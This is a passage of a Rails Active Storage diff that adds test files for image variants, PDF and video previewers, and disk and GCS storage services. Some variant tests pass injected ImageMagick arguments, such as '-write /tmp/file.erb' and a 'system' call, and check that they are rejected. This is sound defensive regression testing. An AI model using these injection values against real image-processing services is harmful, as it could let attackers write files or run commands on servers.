+        blob.variant(resize: "-PaTh /tmp/file.erb").processed
+      end
+    end
+  end
+
+  test "variations with dangerous argument array raise UnsupportedImageProcessingArgument" do
+    process_variants_with :mini_magick do
+      blob = create_file_blob(filename: "racecar.jpg")
+      assert_raise(ActiveStorage::Transformers::ImageProcessingTransformer::UnsupportedImageProcessingArgument) do
+        blob.variant(resize: [123, "-write", "/tmp/file.erb"]).processed
+      end
+    end
+  end
+
+  test "variations with dangerous argument in a nested array raise UnsupportedImageProcessingArgument" do
+    process_variants_with :mini_magick do
+      blob = create_file_blob(filename: "racecar.jpg")
+      assert_raise(ActiveStorage::Transformers::ImageProcessingTransformer::UnsupportedImageProcessingArgument) do
+        blob.variant(resize: [123, ["-write", "/tmp/file.erb"], "/tmp/file.erb"]).processed
+      end
+
+      assert_raise(ActiveStorage::Transformers::ImageProcessingTransformer::UnsupportedImageProcessingArgument) do
+        blob.variant(resize: [123, { "-write /tmp/file.erb": "something" }, "/tmp/file.erb"]).processed
+      end
+    end
+  end
+
+  test "variations with dangerous argument hash raise UnsupportedImageProcessingArgument" do
+    process_variants_with :mini_magick do
+      blob = create_file_blob(filename: "racecar.jpg")
+      assert_raise(ActiveStorage::Transformers::ImageProcessingTransformer::UnsupportedImageProcessingArgument) do
+        blob.variant(resize: { "-write": "/tmp/file.erb" }).processed
+      end
+    end
+  end
+
+  test "variations with dangerous argument in a nested hash raise UnsupportedImageProcessingArgument" do
+    process_variants_with :mini_magick do
+      blob = create_file_blob(filename: "racecar.jpg")
+      assert_raise(ActiveStorage::Transformers::ImageProcessingTransformer::UnsupportedImageProcessingArgument) do
+        blob.variant(resize: { "something": { "-write": "/tmp/file.erb" } }).processed
+      end
+
+      assert_raise(ActiveStorage::Transformers::ImageProcessingTransformer::UnsupportedImageProcessingArgument) do
+        blob.variant(resize: { "something": ["-write", "/tmp/file.erb"] }).processed
+      end
+    end
+  end
+
+  test "variations with unsupported methods raise UnsupportedImageProcessingMethod" do
+    process_variants_with :mini_magick do
+      blob = create_file_blob(filename: "racecar.jpg")
+      assert_raise(ActiveStorage::Transformers::ImageProcessingTransformer::UnsupportedImageProcessingMethod) do
+        blob.variant(system: "touch /tmp/dangerous").processed
+      end
+    end
+  end
+
+  test "destroy deletes file from service" do
+    blob = create_file_blob(filename: "racecar.jpg")
+    variant = blob.variant(resize_to_limit: [100, 100]).processed
+
+    assert_changes -> { blob.service.exist?(variant.key) }, from: true, to: false do
+      variant.destroy
+    end
+  end
+
+  private
+    def process_variants_with(processor)
+      previous_transformer = ActiveStorage.variant_transformer
+      ActiveStorage.variant_transformer =
+        case processor
+        when :vips
+          ActiveStorage::Transformers::Vips
+        when :mini_magick
+          ActiveStorage::Transformers::ImageMagick
+        else
+          raise "#{processor.inspect} is not a valid image transformer"
+        end
+
+      yield
+    rescue LoadError
+      ENV["BUILDKITE"] ? raise : skip("Variant processor #{processor.inspect} is not installed")
+    ensure
+      ActiveStorage.variant_transformer = previous_transformer
+    end
+end
diff --git a/activestorage/test/models/variant_with_record_test.rb b/activestorage/test/models/variant_with_record_test.rb
new file mode 100644
index 0000000000000..ae7e79cde705e
--- /dev/null
+++ b/activestorage/test/models/variant_with_record_test.rb
@@ -0,0 +1,343 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::VariantWithRecordTest < ActiveSupport::TestCase
+  include ActiveJob::TestHelper
+
+  setup do
+    @was_tracking, ActiveStorage.track_variants = ActiveStorage.track_variants, true
+  end
+
+  teardown do
+    ActiveStorage.track_variants = @was_tracking
+  end
+
+  test "generating a resized variation of a JPEG blob" do
+    blob = create_file_blob(filename: "racecar.jpg")
+    variant = blob.variant(resize_to_limit: [100, 100])
+
+    assert_difference -> { blob.variant_records.count }, +1 do
+      variant.processed
+    end
+
+    assert_match(/racecar\.jpg/, variant.url)
+    assert_equal "racecar.jpg", variant.filename.to_s
+    assert_equal "image/jpeg", variant.content_type
+
+    image = read_image(variant.image)
+    assert_equal 100, image.width
+    assert_equal 67, image.height
+
+    record = blob.variant_records.last
+    assert_equal variant.variation.digest, record.variation_digest
+  end
+
+  test "serving a previously-generated resized variation of a JPEG blob" do
+    blob = create_file_blob(filename: "racecar.jpg")
+
+    assert_difference -> { blob.variant_records.count } do
+      blob.variant(resize_to_limit: [100, 100]).processed
+    end
+
+    variant = blob.variant(resize_to_limit: [100, 100])
+
+    assert_no_difference -> { blob.variant_records.count } do
+      variant.processed
+    end
+
+    assert_match(/racecar\.jpg/, variant.url)
+
+    image = read_image(variant.image)
+    assert_equal 100, image.width
+    assert_equal 67, image.height
+  end
+
+  test "variant of a blob is on the same service" do
+    blob = create_file_blob(filename: "racecar.jpg", service_name: "local_public")
+    variant = blob.variant(resize_to_limit: [100, 100]).processed
+
+    assert_equal "local_public", variant.image.blob.service_name
+  end
+
+  test "eager loading has_one_attached record" do
+    user1 = User.create!(name: "Josh")
+    user2 = User.create!(name: "John")
+
+    blob1 = directly_upload_file_blob(filename: "racecar.jpg")
+    assert_difference -> { ActiveStorage::VariantRecord.count }, +1 do
+      blob1.representation(resize_to_limit: [100, 100]).processed
+    end
+
+    blob2 = directly_upload_file_blob(filename: "racecar_rotated.jpg")
+    assert_difference -> { ActiveStorage::VariantRecord.count }, +1 do
+      blob2.representation(resize_to_limit: [100, 100]).processed
+    end
+
+    assert_no_difference -> { ActiveStorage::VariantRecord.count } do
+      user1.cover_photo.attach(blob1)
+      user2.cover_photo.attach(blob2)
+    end
+
+    users = User.where(id: [user1.id, user2.id])
+
+    users.reset
+
+    assert_no_difference -> { ActiveStorage::VariantRecord.count } do
+      assert_queries_count(11) do
+        # 11 queries:
+        # users x 1
+        # attachment (cover photo) x 2
+        # blob for the cover photo x 2
+        # variant record x 1 per blob
+        # attachment x 1 per variant record
+        # variant record x 1 per variant record attachment
+        users.each do |u|
+          rep = u.cover_photo.representation(resize_to_limit: [100, 100])
+          rep.processed
+          rep.key
+          rep.url
+        end
+      end
+    end
+
+    users.reset
+
+    assert_no_difference -> { ActiveStorage::VariantRecord.count } do
+      assert_queries_count(6) do
+        # 6 queries:
+        # attachment (cover photos) x 1
+        # blob for the cover photo x 1
+        # variant record x 1
+        # preview_image_attachments for non-images
+        # attachment x 1
+        # variant record x 1
+        users.with_attached_cover_photo.each do |u|
+          rep = u.cover_photo.representation(resize_to_limit: [100, 100])
+          rep.processed
+          rep.key
+          rep.url
+        end
+      end
+    end
+  end
+
+  def find_keys_for_representation(filename)
+    user = User.create!(name: "Justin")
+
+    10.times do
+      blob = directly_upload_file_blob(filename: filename)
+      user.highlights_with_variants.attach(blob)
+    end
+
+    # Force the processing
+    user.highlights_with_variants.each do |highlight|
+      highlight.representation(:thumb).processed.key
+    end
+
+    highlights = User.with_attached_highlights_with_variants.find_by(name: "Justin").highlights_with_variants.to_a
+
+    assert_queries_count(0) do
+      highlights.each do |highlight|
+        highlight.representation(:thumb).key
+      end
+    end
+  end
+
+  def test_with_attached_image_variant_no_n_plus_1
+    find_keys_for_representation "racecar.jpg"
+  end
+
+  def test_with_attached_video_variant_no_n_plus_1
+    find_keys_for_representation "video.mp4"
+  end
+
+  def test_no_n_plus_1_with_all_variant_records_on_attached_video
+    user = User.create!(name: "Justin")
+
+    10.times do
+      blob = directly_upload_file_blob(filename: "video.mp4")
+      user.highlights_with_variants.attach(blob)
+    end
+
+    # Force the processing
+    user.highlights_with_variants.each do |highlight|
+      highlight.representation(:thumb).processed.key
+    end
+
+    user.reload
+
+    highlights = user.highlights_with_variants.with_all_variant_records.to_a
+
+    assert_queries_count(0) do
+      highlights.each do |highlight|
+        highlight.representation(:thumb).key
+      end
+    end
+  end
+
+  test "eager loading has_many_attached records" do
+    user = User.create!(name: "Josh")
+
+    blob1 = directly_upload_file_blob(filename: "racecar.jpg")
+    assert_difference -> { ActiveStorage::VariantRecord.count }, +1 do
+      blob1.representation(resize_to_limit: [100, 100]).processed
+    end
+
+    blob2 = directly_upload_file_blob(filename: "racecar_rotated.jpg")
+    assert_difference -> { ActiveStorage::VariantRecord.count }, +1 do
+      blob2.representation(resize_to_limit: [100, 100]).processed
+    end
+
+    assert_no_difference -> { ActiveStorage::VariantRecord.count } do
+      user.vlogs.attach(blob1)
+      user.vlogs.attach(blob2)
+    end
+
+    user.reload
+
+    assert_no_difference -> { ActiveStorage::VariantRecord.count } do
+      assert_queries_count(9) do
+        # 9 queries:
+        # attachments (vlogs) x 1
+        # blob x 2
+        # variant record x 1 per blob
+        # attachment x 1 per variant record
+        # variant record x 1 per variant record attachment
+        user.vlogs.each do |vlog|
+          rep = vlog.representation(resize_to_limit: [100, 100])
+          rep.processed
+          rep.key
+          rep.url
+        end
+      end
+    end
+
+    user.reload
+
+    assert_no_difference -> { ActiveStorage::VariantRecord.count } do
+      assert_queries_count(7) do
+        # 7 queries:
+        # attachments (vlogs) x 1
+        # blob x 1
+        # variant record x 1
+        # attachment -> blob x 1 per variant record (so 2)
+        user.vlogs.includes(blob: :variant_records).each do |vlog|
+          rep = vlog.representation(resize_to_limit: [100, 100])
+          rep.processed
+          rep.key
+          rep.url
+        end
+      end
+    end
+
+    user.reload
+
+    assert_no_difference -> { ActiveStorage::VariantRecord.count } do
+      assert_queries_count(5) do
+        # 5 queries:
+        # attachments (vlogs) x 1
+        # blobs for the vlogs x 1
+        # variant records for the blobs x 1
+        # attachments for the variant records x 1
+        # blobs for the attachments for the variant records x 1
+        user.vlogs.includes(blob: { variant_records: { image_attachment: :blob } }).each do |vlog|
+          rep = vlog.representation(resize_to_limit: [100, 100])
+          rep.processed
+          rep.key
+          rep.url
+        end
+      end
+    end
+
+    user.reload
+
+    assert_no_difference -> { ActiveStorage::VariantRecord.count } do
+      assert_queries_count(6) do
+        # 6 queries:
+        # attachments (vlogs) x 1
+        # blobs for the vlogs x 1
+        # variant records for the blobs x 1
+        # preview_image_attachments for non-images
+        # attachments for the variant records x 1
+        # blobs for the attachments for the variant records x 1
+        user.vlogs.with_all_variant_records.each do |vlog|
+          rep = vlog.representation(resize_to_limit: [100, 100])
+          rep.processed
+          rep.key
+          rep.url
+        end
+      end
+    end
+
+    user.reload
+
+    assert_no_difference -> { ActiveStorage::VariantRecord.count } do
+      assert_queries_count(7) do
+        # 7 queries:
+        # user x 1
+        # attachments (vlogs) x 1
+        # blobs for the vlogs x 1
+        # variant records for the blobs x 1
+        # preview_image_attachments for non-images
+        # attachments for the variant records x 1
+        # blobs for the attachments for the variant records x 1
+        User.where(id: user.id).with_attached_vlogs.each do |u|
+          u.vlogs.map do |vlog|
+            rep = vlog.representation(resize_to_limit: [100, 100])
+            rep.processed
+            rep.key
+            rep.url
+          end
+        end
+      end
+    end
+
+    user.reload
+
+    assert_difference -> { ActiveStorage::VariantRecord.count }, +2 do
+      # More queries here because we are creating a different variant.
+      # The second time we load this variant, we are back down to just 3 queries.
+
+      assert_queries_match(/SELECT/i, count: 10) do
+        # 10 queries:
+        # attachments (vlogs) initial load x 1
+        # blob x 1 (gets both records)
+        # variant record x 1 (gets both records)
+        # preview_image_attachments for non-images
+        # 2x get blob, attachment, variant records again, this happens when loading the new blob inside `VariantWithRecord#key`
+        user.vlogs.with_all_variant_records.each do |vlog|
+          rep = vlog.representation(resize_to_limit: [200, 200])
+          rep.processed
+          rep.key
+          rep.url
+        end
+      end
+
+      user.reload
+
+      assert_queries_count(6) do
+        user.vlogs.with_all_variant_records.each do |vlog|
+          rep = vlog.representation(resize_to_limit: [200, 200])
+          rep.processed
+          rep.key
+          rep.url
+        end
+      end
+    end
+  end
+
+  test "destroy deletes file from service" do
+    blob = create_file_blob(filename: "racecar.jpg")
+    variant = blob.variant(resize_to_limit: [100, 100]).processed
+
+    assert_equal 1, ActiveStorage::VariantRecord.count
+    assert blob.service.exist?(variant.key)
+
+    variant.destroy
+
+    assert_equal 0, ActiveStorage::VariantRecord.count
+    assert_enqueued_with(job: ActiveStorage::PurgeJob, args: [variant.image.blob])
+  end
+end
diff --git a/activestorage/test/previewer/mupdf_previewer_test.rb b/activestorage/test/previewer/mupdf_previewer_test.rb
new file mode 100644
index 0000000000000..a15bdccee147e
--- /dev/null
+++ b/activestorage/test/previewer/mupdf_previewer_test.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+require "active_storage/previewer/mupdf_previewer"
+
+class ActiveStorage::Previewer::MuPDFPreviewerTest < ActiveSupport::TestCase
+  test "previewing a PDF document" do
+    blob = create_file_blob(filename: "report.pdf", content_type: "application/pdf")
+
+    ActiveStorage::Previewer::MuPDFPreviewer.new(blob).preview do |attachable|
+      assert_equal "image/png", attachable[:content_type]
+      assert_equal "report.png", attachable[:filename]
+
+      image = MiniMagick::Image.read(attachable[:io])
+      assert_equal 612, image.width
+      assert_equal 792, image.height
+    end
+  end
+
+  test "previewing a cropped PDF document" do
+    blob = create_file_blob(filename: "cropped.pdf", content_type: "application/pdf")
+
+    ActiveStorage::Previewer::MuPDFPreviewer.new(blob).preview do |attachable|
+      assert_equal "image/png", attachable[:content_type]
+      assert_equal "cropped.png", attachable[:filename]
+
+      image = MiniMagick::Image.read(attachable[:io])
+      assert_equal 430, image.width
+      assert_equal 145, image.height
+    end
+  end
+
+  test "previewing an Illustrator document that's a PDF subtype" do
+    blob = create_file_blob(fixture: "report.pdf", filename: "file.ai", content_type: "application/illustrator")
+
+    ActiveStorage::Previewer::MuPDFPreviewer.new(blob).preview do |attachable|
+      assert_equal "image/png", attachable[:content_type]
+      assert_equal "file.png", attachable[:filename]
+
+      image = MiniMagick::Image.read(attachable[:io])
+      assert_equal 612, image.width
+      assert_equal 792, image.height
+    end
+  end
+
+  test "previewing a PDF that can't be previewed" do
+    blob = create_file_blob(filename: "video.mp4", content_type: "application/pdf")
+
+    assert_raises ActiveStorage::PreviewError do
+      ActiveStorage::Previewer::MuPDFPreviewer.new(blob).preview
+    end
+  end
+end
diff --git a/activestorage/test/previewer/poppler_pdf_previewer_test.rb b/activestorage/test/previewer/poppler_pdf_previewer_test.rb
new file mode 100644
index 0000000000000..0a6ec92e2c48d
--- /dev/null
+++ b/activestorage/test/previewer/poppler_pdf_previewer_test.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+require "active_storage/previewer/poppler_pdf_previewer"
+
+class ActiveStorage::Previewer::PopplerPDFPreviewerTest < ActiveSupport::TestCase
+  test "previewing a PDF document" do
+    blob = create_file_blob(filename: "report.pdf", content_type: "application/pdf")
+
+    ActiveStorage::Previewer::PopplerPDFPreviewer.new(blob).preview do |attachable|
+      assert_equal "image/png", attachable[:content_type]
+      assert_equal "report.png", attachable[:filename]
+
+      image = MiniMagick::Image.read(attachable[:io])
+      assert_equal 612, image.width
+      assert_equal 792, image.height
+    end
+  end
+
+  test "previewing a cropped PDF document" do
+    blob = create_file_blob(filename: "cropped.pdf", content_type: "application/pdf")
+
+    ActiveStorage::Previewer::PopplerPDFPreviewer.new(blob).preview do |attachable|
+      assert_equal "image/png", attachable[:content_type]
+      assert_equal "cropped.png", attachable[:filename]
+
+      image = MiniMagick::Image.read(attachable[:io])
+      assert_equal 430, image.width
+      assert_equal 145, image.height
+    end
+  end
+
+  test "previewing an Illustrator document that's a PDF subtype" do
+    blob = create_file_blob(fixture: "report.pdf", filename: "file.ai", content_type: "application/illustrator")
+
+    ActiveStorage::Previewer::PopplerPDFPreviewer.new(blob).preview do |attachable|
+      assert_equal "image/png", attachable[:content_type]
+      assert_equal "file.png", attachable[:filename]
+
+      image = MiniMagick::Image.read(attachable[:io])
+      assert_equal 612, image.width
+      assert_equal 792, image.height
+    end
+  end
+
+  test "previewing a PDF that can't be previewed" do
+    blob = create_file_blob(filename: "video.mp4", content_type: "application/pdf")
+
+    assert_raises ActiveStorage::PreviewError do
+      ActiveStorage::Previewer::PopplerPDFPreviewer.new(blob).preview
+    end
+  end
+end
diff --git a/activestorage/test/previewer/video_previewer_test.rb b/activestorage/test/previewer/video_previewer_test.rb
new file mode 100644
index 0000000000000..2d08fdf1cab10
--- /dev/null
+++ b/activestorage/test/previewer/video_previewer_test.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+require "active_storage/previewer/video_previewer"
+
+class ActiveStorage::Previewer::VideoPreviewerTest < ActiveSupport::TestCase
+  test "previewing an MP4 video" do
+    blob = create_file_blob(filename: "video.mp4", content_type: "video/mp4")
+
+    ActiveStorage::Previewer::VideoPreviewer.new(blob).preview do |attachable|
+      assert_equal "image/jpeg", attachable[:content_type]
+      assert_equal "video.jpg", attachable[:filename]
+
+      image = MiniMagick::Image.read(attachable[:io])
+      assert_equal 640, image.width
+      assert_equal 480, image.height
+      assert_equal "image/jpeg", Marcel::Magic.by_extension(image.type).type
+    end
+  end
+
+  test "previewing a video that can't be previewed" do
+    blob = create_file_blob(filename: "report.pdf", content_type: "video/mp4")
+
+    assert_raises ActiveStorage::PreviewError do
+      ActiveStorage::Previewer::VideoPreviewer.new(blob).preview
+    end
+  end
+end
diff --git a/activestorage/test/service/configurations.example.yml b/activestorage/test/service/configurations.example.yml
new file mode 100644
index 0000000000000..6473082842cb7
--- /dev/null
+++ b/activestorage/test/service/configurations.example.yml
@@ -0,0 +1,25 @@
+# s3:
+#   service: S3
+#   access_key_id: ""
+#   secret_access_key: ""
+#   region: ""
+#   bucket: ""
+#
+# gcs:
+#   service: GCS
+#   credentials: {
+#     type: "service_account",
+#     project_id: "",
+#     private_key_id: "",
+#     private_key: "",
+#     client_email: "",
+#     client_id: "",
+#     auth_uri: "https://accounts.google.com/o/oauth2/auth",
+#     token_uri: "https://accounts.google.com/o/oauth2/token",
+#     auth_provider_x509_cert_url: "https://www.googleapis.com/oauth2/v1/certs",
+#     client_x509_cert_url: ""
+#   }
+#   project:
+#   bucket:
+#   iam: false
+#   gsa_email: "foobar@baz.iam.gserviceaccount.com"
diff --git a/activestorage/test/service/configurations.yml.enc b/activestorage/test/service/configurations.yml.enc
new file mode 100644
index 0000000000000..2dc37e3511018
Binary files /dev/null and b/activestorage/test/service/configurations.yml.enc differ
diff --git a/activestorage/test/service/configurator_test.rb b/activestorage/test/service/configurator_test.rb
new file mode 100644
index 0000000000000..4e009174c78c4
--- /dev/null
+++ b/activestorage/test/service/configurator_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "service/shared_service_tests"
+
+class ActiveStorage::Service::ConfiguratorTest < ActiveSupport::TestCase
+  test "builds correct service instance based on service name" do
+    service = ActiveStorage::Service::Configurator.build(:foo, foo: { service: "Disk", root: "path" })
+    assert_instance_of ActiveStorage::Service::DiskService, service
+    assert_equal "path", service.root
+  end
+
+  test "builds correct service instance based on lowercase service name" do
+    service = ActiveStorage::Service::Configurator.build(:foo, foo: { service: "disk", root: "path" })
+    assert_instance_of ActiveStorage::Service::DiskService, service
+    assert_equal "path", service.root
+  end
+
+  test "raises error when passing non-existent service name" do
+    assert_raise RuntimeError do
+      ActiveStorage::Service::Configurator.build(:bigfoot, {})
+    end
+  end
+
+  test "inspect attributes" do
+    config = {
+      local: { service: "Disk", root: "/tmp/active_storage_configurator_test" },
+      tmp: { service: "Disk", root: "/tmp/active_storage_configurator_test_tmp" },
+    }
+
+    configurator = ActiveStorage::Service::Configurator.new(config)
+    assert_match(/#<ActiveStorage::Service::Configurator configurations=\[:local, :tmp\]>/, configurator.inspect)
+
+    configurator = ActiveStorage::Service::Configurator.new({})
+    assert_match(/#<ActiveStorage::Service::Configurator>/, configurator.inspect)
+  end
+end
diff --git a/activestorage/test/service/disk_public_service_test.rb b/activestorage/test/service/disk_public_service_test.rb
new file mode 100644
index 0000000000000..217fa1e92dbd7
--- /dev/null
+++ b/activestorage/test/service/disk_public_service_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "service/shared_service_tests"
+require "net/http"
+
+class ActiveStorage::Service::DiskPublicServiceTest < ActiveSupport::TestCase
+  tmp_config = {
+    tmp_public: { service: "Disk", root: File.join(Dir.tmpdir, "active_storage_public"), public: true }
+  }
+  SERVICE = ActiveStorage::Service.configure(:tmp_public, tmp_config)
+
+  include ActiveStorage::Service::SharedServiceTests
+
+  test "public URL generation" do
+    url = @service.url(@key, disposition: :inline, filename: ActiveStorage::Filename.new("avatar.png"), content_type: "image/png")
+
+    assert_match(/^https:\/\/example.com\/rails\/active_storage\/disk\/.*\/avatar\.png/, url)
+  end
+end
diff --git a/activestorage/test/service/disk_service_test.rb b/activestorage/test/service/disk_service_test.rb
new file mode 100644
index 0000000000000..4a3413323029c
--- /dev/null
+++ b/activestorage/test/service/disk_service_test.rb
@@ -0,0 +1,81 @@
+# frozen_string_literal: true
+
+require "service/shared_service_tests"
+
+class ActiveStorage::Service::DiskServiceTest < ActiveSupport::TestCase
+  tmp_config = { tmp: { service: "Disk", root: File.join(Dir.tmpdir, "active_storage") } }
+  SERVICE = ActiveStorage::Service.configure(:tmp, tmp_config)
+
+  include ActiveStorage::Service::SharedServiceTests
+
+  test "name" do
+    assert_equal :tmp, @service.name
+  end
+
+  test "url_for_direct_upload" do
+    original_url_options = Rails.application.routes.default_url_options.dup
+    Rails.application.routes.default_url_options.merge!(protocol: "http", host: "test.example.com", port: 3001)
+
+    key      = SecureRandom.base58(24)
+    data     = "Something else entirely!"
+    checksum = Digest::MD5.base64digest(data)
+
+    begin
+      assert_match(/^https:\/\/example.com\/rails\/active_storage\/disk\/.*$/,
+        @service.url_for_direct_upload(key, expires_in: 5.minutes, content_type: "text/plain", content_length: data.size, checksum: checksum))
+    ensure
+      Rails.application.routes.default_url_options = original_url_options
+    end
+  end
+
+  test "URL generation" do
+    original_url_options = Rails.application.routes.default_url_options.dup
+    Rails.application.routes.default_url_options.merge!(protocol: "http", host: "test.example.com", port: 3001)
+    begin
+      assert_match(/^https:\/\/example.com\/rails\/active_storage\/disk\/.*\/avatar\.png$/,
+        @service.url(@key, expires_in: 5.minutes, disposition: :inline, filename: ActiveStorage::Filename.new("avatar.png"), content_type: "image/png"))
+    ensure
+      Rails.application.routes.default_url_options = original_url_options
+    end
+  end
+
+  test "URL generation without ActiveStorage::Current.url_options set" do
+    ActiveStorage::Current.url_options = nil
+
+    error = assert_raises ArgumentError do
+      @service.url(@key, expires_in: 5.minutes, disposition: :inline, filename: ActiveStorage::Filename.new("avatar.png"), content_type: "image/png")
+    end
+
+    assert_equal("Cannot generate URL for avatar.png using Disk service, please set ActiveStorage::Current.url_options.", error.message)
+  end
+
+  test "URL generation keeps working with ActiveStorage::Current.host set" do
+    ActiveStorage::Current.url_options = { host: "https://example.com" }
+
+    original_url_options = Rails.application.routes.default_url_options.dup
+    Rails.application.routes.default_url_options.merge!(protocol: "http", host: "test.example.com", port: 3001)
+    begin
+      assert_match(/^http:\/\/example.com:3001\/rails\/active_storage\/disk\/.*\/avatar\.png$/,
+        @service.url(@key, expires_in: 5.minutes, disposition: :inline, filename: ActiveStorage::Filename.new("avatar.png"), content_type: "image/png"))
+    ensure
+      Rails.application.routes.default_url_options = original_url_options
+    end
+  end
+
+  test "headers_for_direct_upload generation" do
+    assert_equal({ "Content-Type" => "application/json" }, @service.headers_for_direct_upload(@key, content_type: "application/json"))
+  end
+
+  test "root" do
+    assert_equal tmp_config.dig(:tmp, :root), @service.root
+  end
+
+  test "can change root" do
+    tmp_path_2 = File.join(Dir.tmpdir, "active_storage_2")
+    @service.root = tmp_path_2
+
+    assert_equal tmp_path_2, @service.root
+  ensure
+    @service.root = tmp_config.dig(:tmp, :root)
+  end
+end
diff --git a/activestorage/test/service/gcs_public_service_test.rb b/activestorage/test/service/gcs_public_service_test.rb
new file mode 100644
index 0000000000000..ed6af9ccbcab5
--- /dev/null
+++ b/activestorage/test/service/gcs_public_service_test.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require "service/shared_service_tests"
+require "net/http"
+
+if SERVICE_CONFIGURATIONS[:gcs_public]
+  class ActiveStorage::Service::GCSPublicServiceTest < ActiveSupport::TestCase
+    SERVICE = ActiveStorage::Service.configure(:gcs_public, SERVICE_CONFIGURATIONS)
+
+    include ActiveStorage::Service::SharedServiceTests
+
+    test "public URL generation" do
+      url = @service.url(@key, filename: ActiveStorage::Filename.new("avatar.png"))
+
+      assert_match(/storage\.googleapis\.com\/.*\/#{@key}/, url)
+
+      response = Net::HTTP.get_response(URI(url))
+      assert_equal "200", response.code
+    end
+
+    test "direct upload" do
+      key      = SecureRandom.base58(24)
+      data     = "Something else entirely!"
+      checksum = OpenSSL::Digest::MD5.base64digest(data)
+      url      = @service.url_for_direct_upload(key, expires_in: 5.minutes, content_type: "text/plain", content_length: data.size, checksum: checksum)
+
+      uri = URI.parse url
+      request = Net::HTTP::Put.new uri.request_uri
+      request.body = data
+      request.add_field "Content-Type", ""
+      request.add_field "Content-MD5", checksum
+      Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|
+        http.request request
+      end
+
+      response = Net::HTTP.get_response(URI(@service.url(key)))
+      assert_equal "200", response.code
+      assert_equal data, response.body
+    ensure
+      @service.delete key
+    end
+  end
+else
+  puts "Skipping GCS Public Service tests because no GCS configuration was supplied"
+end
diff --git a/activestorage/test/service/gcs_service_test.rb b/activestorage/test/service/gcs_service_test.rb
new file mode 100644
index 0000000000000..93a2bb69a1dd2
--- /dev/null
+++ b/activestorage/test/service/gcs_service_test.rb
@@ -0,0 +1,205 @@
+# frozen_string_literal: true
+
+require "service/shared_service_tests"
+require "net/http"
+
+if SERVICE_CONFIGURATIONS[:gcs]
+  class ActiveStorage::Service::GCSServiceTest < ActiveSupport::TestCase
+    SERVICE = ActiveStorage::Service.configure(:gcs, SERVICE_CONFIGURATIONS)
+
+    include ActiveStorage::Service::SharedServiceTests
+
+    test "name" do
+      assert_equal :gcs, @service.name
+    end
+
+    test "direct upload" do
+      key      = SecureRandom.base58(24)
+      data     = "Something else entirely!"
+      checksum = OpenSSL::Digest::MD5.base64digest(data)
+      url      = @service.url_for_direct_upload(key, expires_in: 5.minutes, content_type: "text/plain", content_length: data.size, checksum: checksum)
+
+      uri = URI.parse url
+      request = Net::HTTP::Put.new uri.request_uri
+      request.body = data
+      request.add_field "Content-Type", ""
+      request.add_field "Content-MD5", checksum
+      Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|
+        http.request request
+      end
+
+      assert_equal data, @service.download(key)
+    ensure
+      @service.delete key
+    end
+
+    test "direct upload with content disposition" do
+      key      = SecureRandom.base58(24)
+      data     = "Something else entirely!"
+      checksum = OpenSSL::Digest::MD5.base64digest(data)
+      url      = @service.url_for_direct_upload(key, expires_in: 5.minutes, content_type: "text/plain", content_length: data.size, checksum: checksum)
+
+      uri = URI.parse url
+      request = Net::HTTP::Put.new uri.request_uri
+      request.body = data
+      @service.headers_for_direct_upload(key, checksum: checksum, filename: ActiveStorage::Filename.new("test.txt"), disposition: :attachment).each do |k, v|
+        request.add_field k, v
+      end
+      request.add_field "Content-Type", ""
+      Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|
+        http.request request
+      end
+
+      url = @service.url(key, expires_in: 2.minutes, disposition: :inline, content_type: "text/html", filename: ActiveStorage::Filename.new("test.html"))
+      response = Net::HTTP.get_response(URI(url))
+      assert_equal("attachment; filename=\"test.txt\"; filename*=UTF-8''test.txt", response["Content-Disposition"])
+    ensure
+      @service.delete key
+    end
+
+    test "direct upload with cache control" do
+      config_with_cache_control = { gcs: SERVICE_CONFIGURATIONS[:gcs].merge({ cache_control: "public, max-age=1800" }) }
+      service = ActiveStorage::Service.configure(:gcs, config_with_cache_control)
+
+      key      = SecureRandom.base58(24)
+      data     = "Some text"
+      checksum = Digest::MD5.base64digest(data)
+      url      = service.url_for_direct_upload(key, expires_in: 5.minutes, content_type: "text/plain", content_length: data.size, checksum: checksum)
+
+      uri = URI.parse url
+      request = Net::HTTP::Put.new uri.request_uri
+      request.body = data
+      headers = service.headers_for_direct_upload(key, checksum: checksum, filename: ActiveStorage::Filename.new("test.txt"), disposition: :attachment)
+      assert_equal("public, max-age=1800", headers["Cache-Control"])
+
+      headers.each do |k, v|
+        request.add_field k, v
+      end
+      request.add_field "Content-Type", ""
+      Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|
+        http.request request
+      end
+
+      url = service.url(key, expires_in: 2.minutes, disposition: :inline, content_type: "text/html", filename: ActiveStorage::Filename.new("test.html"))
+      response = Net::HTTP.get_response(URI(url))
+      assert_equal("public, max-age=1800", response["Cache-Control"])
+    ensure
+      service.delete(key)
+    end
+
+    test "upload with content_type and content_disposition" do
+      key      = SecureRandom.base58(24)
+      data     = "Something else entirely!"
+
+      @service.upload(key, StringIO.new(data), checksum: OpenSSL::Digest::MD5.base64digest(data), disposition: :attachment, filename: ActiveStorage::Filename.new("test.txt"), content_type: "text/plain")
+
+      url = @service.url(key, expires_in: 2.minutes, disposition: :inline, content_type: "text/html", filename: ActiveStorage::Filename.new("test.html"))
+      response = Net::HTTP.get_response(URI(url))
+      assert_equal "text/plain", response.content_type
+      assert_match(/attachment;.*test.txt/, response["Content-Disposition"])
+    ensure
+      @service.delete key
+    end
+
+    test "upload with content_type" do
+      key      = SecureRandom.base58(24)
+      data     = "Something else entirely!"
+
+      @service.upload(key, StringIO.new(data), checksum: OpenSSL::Digest::MD5.base64digest(data), content_type: "text/plain")
+
+      url = @service.url(key, expires_in: 2.minutes, disposition: :inline, content_type: "text/html", filename: ActiveStorage::Filename.new("test.html"))
+      response = Net::HTTP.get_response(URI(url))
+      assert_equal "text/plain", response.content_type
+      assert_match(/inline;.*test.html/, response["Content-Disposition"])
+    ensure
+      @service.delete key
+    end
+
+    test "upload with cache_control" do
+      key      = SecureRandom.base58(24)
